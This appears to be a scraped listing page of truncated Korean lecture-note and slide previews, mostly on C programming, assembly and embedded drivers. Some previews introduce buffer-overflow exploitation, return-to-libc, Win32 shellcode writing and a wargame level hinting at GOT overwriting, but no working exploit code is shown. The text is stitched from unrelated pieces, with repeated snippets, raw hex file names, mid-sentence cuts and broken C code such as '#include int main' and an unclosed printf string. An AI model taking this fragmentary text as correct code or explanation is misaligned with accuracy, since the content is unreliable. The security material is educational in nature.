#include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 중 값에 의한 전달 방법과
More informationPowerPoint 프레젠테이션
7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment
More information버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습
앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수
More informationPowerPoint 프레젠테이션
7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment
More informationINTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co
Basic reverse engineering on x86 This is for those who want to learn about basic reverse engineering on x86 (Feel free to use this, email me if you need a keynote version.) v0.1 SeungJin Beist Lee beist@grayhash.com
More informationMicrosoft PowerPoint - chap06-5 [호환 모드]
2011-1 학기프로그래밍입문 (1) chapter 06-5 참고자료 변수의영역과데이터의전달 박종혁 Tel: 970-6702 Email: jhpark1@seoultech.ac.kr h k 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- ehanbit.net 자동변수 지금까지하나의함수안에서선언한변수는자동변수이다. 사용범위는하나의함수내부이다. 생존기간은함수가호출되어실행되는동안이다.
More informationC 언어 프로그래밊 과제 풀이
과제풀이 (1) 홀수 / 짝수판정 (1) /* 20094123 홍길동 20100324 */ /* even_or_odd.c */ /* 정수를입력받아홀수인지짝수인지판정하는프로그램 */ int number; printf(" 정수를입력하시오 => "); scanf("%d", &number); 확인 주석문 가필요한이유 printf 와 scanf 쌍
More informationuntitled
int i = 10; char c = 69; float f = 12.3; int i = 10; char c = 69; float f = 12.3; printf("i : %u\n", &i); // i printf("c : %u\n", &c); // c printf("f : %u\n", &f); // f return 0; i : 1245024 c : 1245015
More information<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >
10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절
More informationMicrosoft PowerPoint - secu10.pptx
Buffer Overflow Chap 10. Buffer Overflow a very common attack mechanism 1988 년 the Morris Worm 가처음사용한방법 버퍼에저장되는데이터의크기를검사하지않는, 프로그램의부주의한점을이용 prevention techniques 이알려져있음 여전히많은관심대상임 널리배포되어사용중인운영체제와응용프로그램에이러한버그가있는코드가존재함
More information02장.배열과 클래스
---------------- DATA STRUCTURES USING C ---------------- CHAPTER 배열과구조체 1/20 많은자료의처리? 배열 (array), 구조체 (struct) 성적처리프로그램에서 45 명의성적을저장하는방법 주소록프로그램에서친구들의다양한정보 ( 이름, 전화번호, 주소, 이메일등 ) 를통합하여저장하는방법 홍길동 이름 :
More informationComputer Architecture
명령어의구조와주소지정방식 명령어세트명령어의형식주소지정방식실제명령어의형태 이자료는김종현저 - 컴퓨터구조론 ( 생능출판사 ) 의내용을편집한것입니다. 2.4 명령어세트 (instruction set) 어떤 CPU 를위하여정의되어있는명령어들의집합 명령어세트설계를위해결정되어야할사항들 2 연산종류 (operation repertoire) CPU 가수행할연산들의수와종류및복잡도
More information강의10
Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced
More informationBOF Foundation.doc
해커지망자들이알아야할 Buffer Overflow Attack 의기초 What every applicant for the hacker should know about the foundation of buffer overflow attacks By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com 2005 년 9월 5일
More informationOCW_C언어 기초
초보프로그래머를위한 C 언어기초 2 장 : C 프로그램시작하기 2012 년 이은주 학습목표 을작성하면서 C 프로그램의구성요소 주석 (comment) 이란무엇인지알아보고, 주석을만드는방법 함수란무엇인지알아보고, C 프로그램에반드시필요한 main 함수 C 프로그램에서출력에사용되는 printf 함수 변수의개념과변수의값을입력받는데사용되는 scanf 함수 2 목차 프로그램코드
More informationPowerPoint 프레젠테이션
7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED
More informationOCW_C언어 기초
초보프로그래머를위한 C 언어기초 4 장 : 연산자 2012 년 이은주 학습목표 수식의개념과연산자및피연산자에대한학습 C 의알아보기 연산자의우선순위와결합방향에대하여알아보기 2 목차 연산자의기본개념 수식 연산자와피연산자 산술연산자 / 증감연산자 관계연산자 / 논리연산자 비트연산자 / 대입연산자연산자의우선순위와결합방향 조건연산자 / 형변환연산자 연산자의우선순위 연산자의결합방향
More information임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과
임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수
More information학습목차 r 컴퓨터본체에서 CPU 의위치살펴보기 r CPU 의성능 r CPU 의기능 r CPU 의조직 r 레지스터의조직 r 명령어사이클 r 명령어파이프라이닝 컴퓨터구조 2 9. CPU 조직과기능
컴퓨터구조 제 9 강 중앙처리장치의조직과기능 학습목차 r 컴퓨터본체에서 CPU 의위치살펴보기 r CPU 의성능 r CPU 의기능 r CPU 의조직 r 레지스터의조직 r 명령어사이클 r 명령어파이프라이닝 컴퓨터구조 2 9. CPU 조직과기능 학습목표 rcpu 의성능을향상시키는요인들을알아본다. rcpu 의기본적인기능을이해한다. rcpu 는 ALU, 제어장치, 레지스터집합,
More information비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2
비트연산자 1 1 비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2 진수법! 2, 10, 16, 8! 2 : 0~1 ( )! 10 : 0~9 ( )! 16 : 0~9, 9 a, b,
More informationReturn-to-libc
Return-to-libc Mini (skyclad0x7b7@gmail.com) 2015-08-22 - INDEX - 1. 개요... - 2-1-1. 서문... - 2-1-2. RTL 공격이란... - 2 - 보호기법... - 3 - Libc 란?... - 4-2. RTL 공격... - 4-2-1. 취약한코드... - 4-2-2. 분석... - 5-2-3.
More informationKNK_C_05_Pointers_Arrays_structures_summary_v02
Pointers and Arrays Structures adopted from KNK C Programming : A Modern Approach 요약 2 Pointers and Arrays 3 배열의주소 #include int main(){ int c[] = {1, 2, 3, 4}; printf("c\t%p\n", c); printf("&c\t%p\n",
More informationPowerPoint 프레젠테이션
1. data-addressing mode CHAPTER 6 Addressing Modes 2. use of data-address mode to form assembly language statements 3. op of program memory address mode 4. use of program memory address mode to form assembly
More information0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x = (12 + 6) / 2 * 3; x = 27 x = 3 * (8 / 4
Introduction to software design 2012-1 Final 2012.06.13 16:00-18:00 Student ID: Name: - 1 - 0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x
More informationSmashing The Stack For Fun And Profit by Aleph One
Review of Aleph One s Smashing The Stack For Fun And Profit by vangelis(vangelis@wowsecurity.org) 888 888 888 888 888 888 888 888 888.d88b. 888 888 888 88888b. 8888b..d8888b 888 888.d88b. 888d888 888 888
More informationvi 사용법
유닉스프로그래밍및실습 gdb 사용법 fprintf 이용 단순디버깅 확인하고자하는코드부분에 fprintf(stderr, ) 를이용하여그지점까지도달했는지여부와관심있는변수의값을확인 여러유형의단순한문제를확인할수있음 그러나자세히살펴보기위해서는디버깅툴필요 int main(void) { int count; long large_no; double real_no; init_vars();
More informationch15
쉽게풀어쓴 C 언어 Express 제 14 장포인터활용 C Express 이중포인터 이중포인터 (double pointer) : 포인터를가리키는포인터 int i = 10; int *p = &i; int **q = &p; // i 는 int 형변수 // p 는 i 를가리키는포인터 // q 는포인터 p 를가리키는이중포인터 이중포인터 이중포인터의해석 이중포인터 //
More informationMicrosoft PowerPoint - a8a.ppt [호환 모드]
이장의내용 8 장고급프로시저 스택프레임 재귀 (Recursion) Invoke, Addr, Proc, Proto 디렉티브 다중모듈프로그램작성 2 8.2 스택프레임 Stack Frame ( 또는 activation record) procedure 의다음사항을저장한 영역 urn address passed parameter ( 스택매개변수 ) saved register
More informationPowerPoint Presentation
#include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을작성하면서 C 프로그램의구성요소에대하여알아본다.
More informationMicrosoft PowerPoint - 제11장 포인터
쉽게풀어쓴 C 언어 Express 제 11 장포인터 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습한다. 포인터란? 포인터 (pointer): 주소를가지고있는변수 1003 1004 1005 영화관 1002 1006 1001 포인터 (pointer) 1007 메모리의구조
More informationMicrosoft PowerPoint - 15-MARS
MARS 소개및실행 어셈블리프로그램실행예 순천향대학교컴퓨터공학과이상정 1 MARS 소개및실행 순천향대학교컴퓨터공학과 2 MARS 소개 MARS MIPS Assembler and Runtime Simulator MIPS 어셈블리언어를위한소프트웨어시뮬레이터 미주리대학 (Missouri State Univ.) 의 Ken Vollmar 등이자바로개발한교육용시뮬레이터
More information<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>
#include "stdafx.h" #include "Huffman.h" 1 /* 비트의부분을뽑아내는함수 */ unsigned HF::bits(unsigned x, int k, int j) return (x >> k) & ~(~0
More informationLevel 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard
Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting
More information제 11 장포인터 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.
제 11 장포인터 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습합니다.
More informationPowerPoint 프레젠테이션
Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi
More informationMicrosoft Word - building the win32 shellcode 01.doc
Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode
More informationMicrosoft PowerPoint - o8.pptx
메모리보호 (Memory Protection) 메모리보호를위해 page table entry에 protection bit와 valid bit 추가 Protection bits read-write / read-only / executable-only 정의 page 단위의 memory protection 제공 Valid bit (or valid-invalid bit)
More informationA Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning
C Programming Practice (II) Contents 배열 문자와문자열 구조체 포인터와메모리관리 구조체 2/17 배열 (Array) (1/2) 배열 동일한자료형을가지고있으며같은이름으로참조되는변수들의집합 배열의크기는반드시상수이어야한다. type var_name[size]; 예 ) int myarray[5] 배열의원소는원소의번호를 0 부터시작하는색인을사용
More informationMicrosoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]
Unix Process Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 유닉스기반다중서버구현방법 클라이언트들이동시에접속할수있는서버 서비스를동시에처리할수있는서버프로세스생성을통한멀티태스킹 (Multitasking) 서버의구현 select 함수에의한멀티플렉싱 (Multiplexing)
More informationJAVA 프로그래밍실습 실습 1) 실습목표 - 메소드개념이해하기 - 매개변수이해하기 - 새메소드만들기 - Math 클래스의기존메소드이용하기 ( ) 문제 - 직사각형모양의땅이있다. 이땅의둘레, 면적과대각
JAVA 프로그래밍실습 실습 1) 실습목표 - 메소드개념이해하기 - 매개변수이해하기 - 새메소드만들기 - Math 클래스의기존메소드이용하기 ( http://java.sun.com/javase/6/docs/api ) 문제 - 직사각형모양의땅이있다. 이땅의둘레, 면적과대각선의길이를계산하는메소드들을작성하라. 직사각형의가로와세로의길이는주어진다. 대각선의길이는 Math클래스의적절한메소드를이용하여구하라.
More information<4D F736F F F696E74202D20C1A63134C0E520C6F7C0CEC5CD5FC8B0BFEB>
쉽게풀어쓴 C 언어 Express 제 14 장포인터활용 이중포인터 이중포인터 (double pointer) : 포인터를가리키는포인터 int i = 10; int *p = &i; int **q = &p; // i 는 int 형변수 // p 는 i 를가리키는포인터 // q 는포인터 p 를가리키는이중포인터 이중포인터 이중포인터의해석 이중포인터 // 이중포인터프로그램
More informationBMP 파일 처리
BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)
More informationMicrosoft PowerPoint - 03_(C_Programming)_(Korean)_Pointers
C Programming 포인터 (Pointers) Seo, Doo-Ok Clickseo.com clickseo@gmail.com 목 차 포인터의이해 다양한포인터 2 포인터의이해 포인터의이해 포인터변수선언및초기화 포인터연산 다양한포인터 3 주소연산자 ( & ) 포인터의이해 (1/4) 변수와배열원소에만적용한다. 산술식이나상수에는주소연산자를사용할수없다. 레지스터변수또한주소연산자를사용할수없다.
More informationMicrosoft PowerPoint - Chapter_04.pptx
프로그래밍 1 1 Chapter 4. Constant and Basic Data Types April, 2016 Dept. of software Dankook University http://embedded.dankook.ac.kr/~baeksj 이장의강의목표 2 기본자료형문자표현방식과문자자료형상수자료형변환 기본자료형 (1/8) 3 변수 (Variables)
More informationMicrosoft PowerPoint - a2.ppt [호환 모드]
마이크로컴퓨터의기본구조 2 장 x86 프로세서구조 ALU: 산술논리연산제어장치 (CU): 실행순서제어클럭 : 구성요소들의동작동기화 CPU + memory + I/O + bus 어셈블리언어 2 클럭 (Clock) CPU 와 Bus 동작은클럭에동기되어동작을한다. 메모리읽기사이클과대기상태 1 클럭사이클동안간단한동작을수행한다. 기계어명령어수행에적어도 1 클럭사이클이필요함
More informationMicrosoft PowerPoint - 제11장 포인터(강의)
쉽게풀어쓴 C 언어 Express 제 11 장포인터 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습한다. 포인터란? 포인터 (pointer): 주소를가지고있는변수 1003 1004 1005 영화관 1002 1006 1001 포인터 (pointer) 1007 메모리의구조
More information목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드
취약점분석보고서 [Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow] 2012-08-08 RedAlert Team 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. 취약점요약... 1 1.3. 취약점정보... 1 1.4. 취약점대상시스템목록... 1 2. 분석...
More informationuntitled
시스템소프트웨어 : 운영체제, 컴파일러, 어셈블러, 링커, 로더, 프로그래밍도구등 소프트웨어 응용소프트웨어 : 워드프로세서, 스프레드쉬트, 그래픽프로그램, 미디어재생기등 1 n ( x + x +... + ) 1 2 x n 00001111 10111111 01000101 11111000 00001111 10111111 01001101 11111000
More information<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>
리눅스 오류처리하기 2007. 11. 28 안효창 라이브러리함수의오류번호얻기 errno 변수기능오류번호를저장한다. 기본형 extern int errno; 헤더파일 라이브러리함수호출에실패했을때함수예 정수값을반환하는함수 -1 반환 open 함수 포인터를반환하는함수 NULL 반환 fopen 함수 2 유닉스 / 리눅스 라이브러리함수의오류번호얻기 19-1
More informationIDA 5.x Manual 07.02.hwp
IDA 5.x Manual - Manual 01 - 영리를 목적으로 한 곳에서 배포금지 Last Update 2007. 02 이강석 / certlab@gmail.com 어셈블리어 개발자 그룹 :: 어셈러브 http://www.asmlove.co.kr - 1 - IDA Pro 는 Disassembler 프로그램입니다. 기계어로 되어있는 실행파일을 어셈블리언어
More informationMicrosoft Word - MSOffice_WPS_analysis.doc
MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS
More informationMicrosoft PowerPoint - Chapter_08.pptx
프로그래밍 1 1 Chapter 8. Pointers May, 2016 Dept. of software Dankook University http://embedded.dankook.ac.kr/~baeksj 포인터의개념 (1/6) 2 포인터란 : 다른객체를가리키는변수 객체의메모리주소를저장하는변수 기호적방식 (symbolic way) 으로주소사용 포인터와관련된연산자
More informationMicrosoft PowerPoint - chap-11.pptx
쉽게풀어쓴 C 언어 Express 제 11 장포인터 컴퓨터프로그래밍기초 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습한다. 컴퓨터프로그래밍기초 2 포인터란? 포인터 (pointer): 주소를가지고있는변수 컴퓨터프로그래밍기초 3 메모리의구조 변수는메모리에저장된다. 메모리는바이트단위로액세스된다.
More informationMicrosoft PowerPoint - C프로그래밍-chap03.ppt [호환 모드]
Chapter 03 변수와자료형 2009 한국항공대학교항공우주기계공학부 (http://mercury.kau.ac.kr/sjkwon) 1 변수와자료유형 변수 프로그램에서자료값을임시로기억할수있는저장공간을변수 (variables) 변수 (Variables) 는컴퓨터의메모리인 RAM(Random Access Memory) 에저장 물건을담는박스라고생각한다면박스의크기에따라담을물건이제한됨
More informationMicrosoft PowerPoint - chap04-연산자.pptx
int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); } 1 학습목표 수식의 개념과 연산자, 피연산자에 대해서 알아본다. C의 를 알아본다. 연산자의 우선 순위와 결합 방향에
More informationMicrosoft PowerPoint - chap11-포인터의활용.pptx
#include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 포인터를 사용하는 다양한 방법에
More informationPowerPoint 프레젠테이션
DEVELOPMENT ENVIRONMENT 2 MAKE Jo, Heeseung MAKE Definition make is utility to maintain groups of programs Object If some file is modified, make detects it and update files related with modified one 2
More informationPowerPoint 프레젠테이션
Development Environment 2 Jo, Heeseung make make Definition make is utility to maintain groups of programs Object If some file is modified, make detects it and update files related with modified one It
More informationMicrosoft PowerPoint - C++ 5 .pptx
C++ 언어프로그래밍 한밭대학교전자. 제어공학과이승호교수 연산자중복 (operator overloading) 이란? 2 1. 연산자중복이란? 1) 기존에미리정의되어있는연산자 (+, -, /, * 등 ) 들을프로그래머의의도에맞도록새롭게정의하여사용할수있도록지원하는기능 2) 연산자를특정한기능을수행하도록재정의하여사용하면여러가지이점을가질수있음 3) 하나의기능이프로그래머의의도에따라바뀌어동작하는다형성
More informationC 프로그래밍 언어 입문 C 프로그래밍 언어 입문 김명호저 숭실대학교 출판국 머리말..... C, C++, Java, Fortran, Python, Ruby,.. C. C 1972. 40 C.. C. 1999 C99. C99. C. C. C., kmh ssu.ac.kr.. ,. 2013 12 Contents 1장 프로그래밍 시작 1.1 C 10 1.2 12
More information학번 : 이름 : 1. 다음파일트리구조를가진유닉스시스템이있다고가정하자. / /bin/ /home/ /home/taesoo/ /usr/ /usr/lib/ /usr/local/lib /media 모든폴더에파일이하나도없다고가정했을때사용자가터미널에서다음 ls 명령입력시화면출력
학번 : 이름 : 1. 다음파일트리구조를가진유닉스시스템이있다고가정하자. / /bin/ /home/ /home/taesoo/ /usr/ /usr/lib/ /usr/local/lib /media 모든폴더에파일이하나도없다고가정했을때사용자가터미널에서다음 ls 명령입력시화면출력을예측하시오. $ cd /usr $ ls..? $ ls.? 2. 다음그림은어떤프로세스가다음코드를수행했다는가정에서도시되었다.
More information컴파일러
YACC 응용예 Desktop Calculator 7/23 Lex 입력 수식문법을위한 lex 입력 : calc.l %{ #include calc.tab.h" %} %% [0-9]+ return(number) [ \t] \n return(0) \+ return('+') \* return('*'). { printf("'%c': illegal character\n",
More informationMicrosoft PowerPoint - additional01.ppt [호환 모드]
1.C 기반의 C++ part 1 함수 오버로딩 (overloading) 디폴트매개변수 (default parameter) 인-라인함수 (in-line function) 이름공간 (namespace) Jong Hyuk Park 함수 Jong Hyuk Park 함수오버로딩 (overloading) 함수오버로딩 (function overloading) C++ 언어에서는같은이름을가진여러개의함수를정의가능
More informationMicrosoft Word - ExecutionStack
Lecture 15: LM code from high level language /* Simple Program */ external int get_int(); external void put_int(); int sum; clear_sum() { sum=0; int step=2; main() { register int i; static int count; clear_sum();
More information03 상수, 변수, 자료형
Part 03 상수, 변수, 자료형 1 이장의내용 자료형이란무엇인가? 상수와변수 정수형 부동소수형 문자형 2 3.1 자료형이란무엇인가? 3 자료형이란무엇인가? 자료형 (data type) 프로그램에서표현혹은저장하는데이터의종류혹은유형 C 언어의자료형 C 언어는 1 개의문자형, 4 개의정수형, 3 개의부동소수형을제공 4 3.2 변수 /3.3 상수 5 변수 변수
More informationMicrosoft PowerPoint - 제9강 문자열
제11장 문자열 문자열정의 문자열과포인터, 문자열과배열 2 차원문자열배열, 2 차원문자열포인터 문자열함수, 헤더파일 string.h ctype.h strlen(), strcat(), strcpy(), strstr(), strchr(), strcmp(), strtok() getc(), putc(), fgetc(), fputc(), gets(), puts(),
More information<4D F736F F F696E74202D206D61696E D F6E D20C7C1B7CEBCBCBCAD20B7CEB5F920C8C420B8DEB8F0B8AE20B9D B20B1B8C1B6C0CCC7D8>
프로세스로딩후메모리및 stack 구조이해 학습목표 실제프로그램이 CPU 에의해메모리에상주되었을때메모리구조에대하여숙지한다. 논리적스택에대한개념과작동원리를이해한다. 논리적스택구조에대하여자세히각부분별기능이무슨역할을하는지를파악한다. 메모리구조모습 (1) 메모리구조 ( 코드영역 ) 논리적스택개념논리적스택구조논리적스택구조특징 more 프로그램실행후메모리구조모습 (1)
More information